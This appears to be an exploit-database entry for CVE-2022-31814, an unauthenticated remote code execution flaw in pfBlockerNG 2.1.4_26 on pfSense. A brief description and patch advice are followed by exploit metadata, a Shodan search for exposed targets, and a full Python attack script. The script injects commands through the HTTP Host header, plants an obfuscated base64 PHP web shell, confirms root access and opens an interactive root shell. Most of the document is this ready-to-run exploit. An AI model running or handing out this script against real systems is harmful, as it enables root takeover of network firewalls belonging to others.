Exploit Title: pfBlockerNG 2.1.4_26 – Remote Code Execution (RCE)
The pfBlockerNG version 2.1.4_26 was found to have a remote code execution vulnerability identified as CVE-2022-31814. This vulnerability allowed remote attackers to execute arbitrary OS commands as root through shell metacharacters in the HTTP Host header. It is important to note that version 3.x of pfBlockerNG is unaffected by this vulnerability.
To mitigate this vulnerability, it is recommended to update pfBlockerNG to a version that includes a fix for the issue. Additionally, it is advisable to follow best practices for network security, such as implementing strong access controls and regularly updating and patching software.
# Shodan Results: https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22
# Date: 5th of September 2022
# Exploit Author: IHTeam
# Vendor Homepage: https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
# Software Link: https://github.com/pfsense/FreeBSD-ports/pull/1169
# Version: 2.1.4_26
# Tested on: pfSense 2.6.0
# CVE : CVE-2022-31814
# Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
#!/usr/bin/env python3 import argparse import requests import time import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE") parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/") args = parser.parse_args() url = args.url shell_filename = "system_advanced_control.php" def check_endpoint(url): response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False) if response.status_code == 200: print("[+] pfBlockerNG is installed") else: print("\n[-] pfBlockerNG not installed") sys.exit() def upload_shell(url, shell_filename): payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"} print("[/] Uploading shell...") response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False) time.sleep(2) response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False) if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')): print("[+] Upload succeeded") else: print("\n[-] Error uploading shell. Probably patched ", response.content) sys.exit() def interactive_shell(url, shell_filename, cmd): response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False) print(str(response.text)+"\n") def delete_shell(url, shell_filename): delcmd = "rm /usr/local/www/system_advanced_control.php" response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False) print("\n[+] Shell deleted") check_endpoint(url) upload_shell(url, shell_filename) try: while True: cmd = input("# ") interactive_shell(url, shell_filename, cmd) except: delete_shell(url, shell_filename)
Sources: